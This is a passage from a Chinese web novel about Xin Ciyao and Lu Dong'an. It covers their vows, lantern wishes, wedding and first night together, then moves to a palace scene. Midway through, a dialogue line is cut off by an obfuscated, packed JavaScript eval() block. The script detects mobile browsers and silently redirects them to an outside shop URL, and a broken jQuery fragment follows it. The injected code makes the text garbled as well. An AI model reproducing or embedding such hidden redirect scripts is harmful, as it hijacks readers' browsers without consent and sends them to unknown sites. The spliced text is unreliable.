辛辞遥闻声回头,她微微一怔,不曾想他将那日她所说的全都记了去。

    木盒微微敞开,那是一支玉簪,簪身以温润粉玉雕琢为主,簪头上是盛开的桃花,垂落几缕银线流苏。

    路东安举着木盒的手微微用力,他解释道:“抱歉,只能用簪子代替了。”

    她眼眶发酸,摇摇头问道:“你这几日不在就是为了忙这个?”

    店里银两未动分毫,只能是他早出晚归打工换的。

    “不全是。”

    辛辞遥嘴角勾起,扶着他起来。

    她牵着路东安一只手,温柔地注视他。

    “我想起那个誓词了,你跟着我念。”

    路东安轻轻颔首。

    “今日起,我们自愿结为夫妻。”

    “今日起,我们自愿结为夫妻。”

    “无论富贵贫寒,健康疾病,无论风雨坦途,生老病死。”

    “无论富贵贫寒,健康疾病,无论风雨坦途,生老病死。”

    “一生相伴,永不分离。”

    “一生相伴,永不分离。”

    话音方才落下,她当即上前一步,伸手环住对方,而他也稳稳将人拥入怀中。

    “三日后,我们就要成亲了。”路东安抬手收紧怀抱,温热气息擦过她耳畔,声音温柔缱绻。

    她轻轻点了点头,向后退开两步,抬眼含笑示意,让他为自己簪上那支发簪。

    远方漫天孔明灯流光与清辉月色交融,柔和光晕落满她半张脸颊。路东安缓步上前,微微俯身贴近,动作轻柔小心地插进头发间。

    “好看吗?”她抬手轻扶簪身,眼底盛满期待,定定望着身前之人。

    “好看。”抬眼时他眉眼尽是软意,化不开的温柔尽数沉在眼底。

    突然烟花在远处炸开,辛辞遥很快被吸引目光,她顺着声音看去,烟花在天空炸成一朵朵花,五颜六色的。

    路东安侧过头看她,烟花细碎的光落在她的脸颊上,一同的还有她那兴奋的表情。

    “今日你还没有许愿吧?要不要也去许愿?”路东安说,“我知道有一个地方,风景还很好。”

    这话一听,辛辞遥开心的回头望他,她点点头。

    见状,路东安顺势牵起她的手,两人十指相扣,他带着她先往村里跑去。

    两人穿过人群,他走在前头,稳稳地替辛辞遥隔绝了一切阻碍。

    辛辞遥望着他那宽厚的背影,心里突然觉得,就这样和路东安永远生活在一起还不错。

    她眉眼弯弯,连忙走几步,与路东安并肩而行。

    “....”

    村里热闹非凡,他们先回了一趟医馆,在路东安去拿孔明灯的时候,辛辞遥注意到桌上多出来一个箱子。

    还不等她去查看,路东安已经拿着东西出来。

    “走。”

    “你们去哪啊。”

    他们刚走出医馆,便被一道声音叫住,两人同时回头,是星云月,她怀里还抱着九狐春。

    “去许愿。”辛辞遥回。

    星云月点点头,“早点回来啊。”

    “辛苦你照看一下了!我们很快回来。”

    声音随着辛辞遥跑远被拉长。

    刚睡醒的九狐春也跳下去,朝着辛辞遥跑去。

    星云月伸手去接,没有接到,她只好扯着嗓子喊:“雪球在后面!”

    “知道啦。”辛辞遥回头应付道,她低头便看着跟在脚后面的九狐春,她拍拍肩膀,示意九狐春跳上来,随之她也放慢了脚步。

    九狐春找准时机,轻松跃上。

    路东安带着辛辞遥来到了一座小山上,这里可以清晰的看到村里街道,四处也无任何遮挡。

    “怎么来山上。”辛辞遥半弯着身子喘着气,不过这山不算高,风景也确实如路东安所说好一些,看的更清楚。

    “因为....离天空会近一点。”路东安看着满天繁星,温柔道,“这样,辞遥的愿望会比他们快。”

    辛辞遥被逗笑,“有点道理啊。”

    她将九狐春从怀里放下来,一会的功夫,路东安已经将孔明灯准备好。

    辛辞遥走到前面,与路东安面对这面。

    两人一同拉着孔明灯,同时闭上眼睛。

    辛辞遥:“愿祖师娘他们下辈子到白头,愿世界和平。”

    路东安:“希望爷爷能长命百岁,希望辞遥的愿望都能实现。”

    他们在心中默念完睁眼,再一起松手,孔明灯顺着气流悠悠上天,渐渐的朝着其他孔明灯靠近,混进其中。

    “你....许了什么愿啊?”辛辞遥凑近,好奇道。

    路东安轻哼一声,“不告诉你。”

    ——

    婚礼一切从简,本应该要新郎官去接新娘子,可辛辞遥在这并没有娘家,她本想跳过,但路秉谦和村里的几个大婶百般不愿意。

    最后,她被安排到王桂娘家里,等着路东安。

    辛辞遥坐在床上,十分无聊。

    她等啊等,等啊等。

    硬生生坐了半个时辰,门外才有了动静。

    她被顺利的接到马车内,四周是敲锣打鼓的声音,辛辞遥小心的掀起盖头一角,又打开马车帘子,只用一只眼睛打量着环境。

    路东安在最前面,骑着马,他偶尔也会回头看着马车。

    辛辞遥啧啧两声,还真是八抬大轿,风风光光的。

    她看着这阵仗有一些不解,这些东西都是从哪弄来的,她本问了路东安,但他摇摇头,只说:“是爷爷准备的。”

    “....”

    到了医馆,路东安扶着辛辞遥下了马车,两人牵着手在所有人的目光中,缓缓走进店堂内。

    路秉谦坐在最前面的位子上,身边的位子空了出来。

    辛辞遥微微抬头看着那空着的位置,心里泛起阵阵涟漪,正当她垂眸暗自神伤时,九狐春从人堆里跳出,坐在那位置上,板板正正的。

    她微愕,其余人注意到想赶走九狐春,被路秉谦拦住:“没事,让它坐吧。”

    他转头看着九狐春,有些浑浊的眼睛好似亮了一瞬,片刻后又转回去。

    旁人见状也不好多说什么。

    时辰已到,外头鼓声随之响起。

    “一拜天地——”

    “二拜高堂——”

    辛辞遥起身时,眼睛扫过九狐春,不知是不是错觉,她好像看到了祖师娘朝着她温柔地笑。

    不给她过多反应时间,下一句话便传来。

    “夫妻对拜——”

    “礼—成—”

    “可以掀红盖头了!”不知是谁在人群中喊了一句。

    惹得场面沸腾起来。

    路东安看了一眼路秉谦,得到眼神示意后,他才小心翼翼的揭开。

    辛辞遥抿着唇,一时的光亮,让她不自觉闭了闭眼,睁开后便是路东安深邃的眸子。

    见后盖头掀开,一位大婶也端上酒。

    两人拿过,手腕相互交叉,喝下这交杯酒。

    “....”

    礼数结束后,路秉谦便招呼着人去吃饭,他在离医馆不远处摆了很多桌。

    辛辞遥见到后,双手交叉,疑惑发问:“咱们医馆的账也没动啊,爷爷是....哪来的银两。”

    身后的路东安面不改色的说:“私房钱吧。”

    “有道理。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727141|207782||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”辛辞遥认可的点点头,不一会瞥见远处的陈冉花和汤妹。

    她打着招呼,看着陈冉花已经完全可以下床,气色也好了不少,“身体还有其他不适吗?”

    陈冉花摇摇头,“我好多了,谢谢辛大夫关心。”

    “过几日,我就要去游历了。”

    辛辞遥:“这么突然。”

    “小的时候就很希望去外面的世界看看,如今....”陈冉花想到了什么,“终于可以实现了,辛大夫,我会一直记着你的,也会常给你写信。”

    辛辞遥点点头:“好,我也会想你的。”

    陈冉花笑了笑,她的视线在两人中流转,片刻后,她凑近辛辞遥,用着气音说道:“辛姑娘,祝你幸福....”

    她顿了顿,还想说些什么,但又改口:“下意识的反应不会骗人,我知辛姑娘那天是安慰我才借口说有喜欢的人。”

    辛辞遥一噎,嘿嘿一笑:“但我说的可都是真心的。”

    “嗯,辛姑娘当真是极好极好的人。”陈冉花捂着嘴笑了笑,嘀咕了一句:“但也不算骗我....”

    她重新和辛辞遥到了别,随后便离开这。

    “....”

    晚上,辛辞遥和路东安站在床边,一时没了主意。

    “要不....我睡地板吧。”路东安提议。

    辛辞遥看着地,又看向床,床还算大,睡两个人不是什么问题,她经历思想斗争后说:“地板太硬了,而且你也不能总睡地板吧,就睡床吧,床还挺大的....”

    “嗯....”路东安小声的回,“你睡里面吧,我再拿一个被褥来。”

    “好。”辛辞遥率先上床,几乎要贴在墙上。

    她闭上眼,准备睡觉,可无论怎么样都睡不着,尤其是闭上眼后其他感官更加明显。

    身边传来窸窸窣窣的声音,等路东安完全躺下后,她是真的能感觉到身边有一个人,弄得她一点也不适应。

    两人中间好似隔了一个银河。

    这个状态并没有持续多久,辛辞遥睡觉不算老实,或者说不习惯睡那么一点的空间。

    她在后边夜里动来动去,路东安睡眠浅,很快被弄醒。

    他半起身看了一下辛辞遥状态,发觉是空间太小导致。

    他便将被褥扯开一角,让两个被褥合二为一。

    ...

    辛辞遥半睡不熟,感受到身后一股凉意,由于她是侧睡,加上被子刚才被路东安合二为一了,背部才传来阵阵冷风。

    她不自觉的朝着路东安身边挪去,但她好似还不满意,小脸皱着眉,脚一跨,直接半趴在路东安身上,她的耳边刚好是他的心跳声,一下一下,沉稳有力,听着十分安心。

    路东安直接惊醒,他看着身上的辛辞遥,一时没反应过来,片刻后发觉她的眉头一直皱着,又看见一旁被她弄开的被子。

    他轻叹一声,真拿她没办法。

    他半起身将被子弄好,重新躺下后,辛辞遥直接黏了过来,眉头也开始放松。

    路东安往里面挪了挪,任由辛辞遥这样抱着,他便这样睡了,但始终睡不深。

    ——

    皇宫内,大皇子妄黔回来的消息传得很快,一下便传到妄希初的耳朵里。

    她惊喜的同时又带着害怕。

    妄希初来到妄黔的府内,在这等他两三个时辰后才被请进去。

    “要是缺什么直接找李将军便好,不用等我。”妄黔看着眼前的一大推公文,带着一点赶人的意味。

    “我....”妄希初抿了抿唇,胆怯的站在门外,始终不敢进去,她抓着衣摆,小声道:“皇..皇兄,我想...离开皇宫。”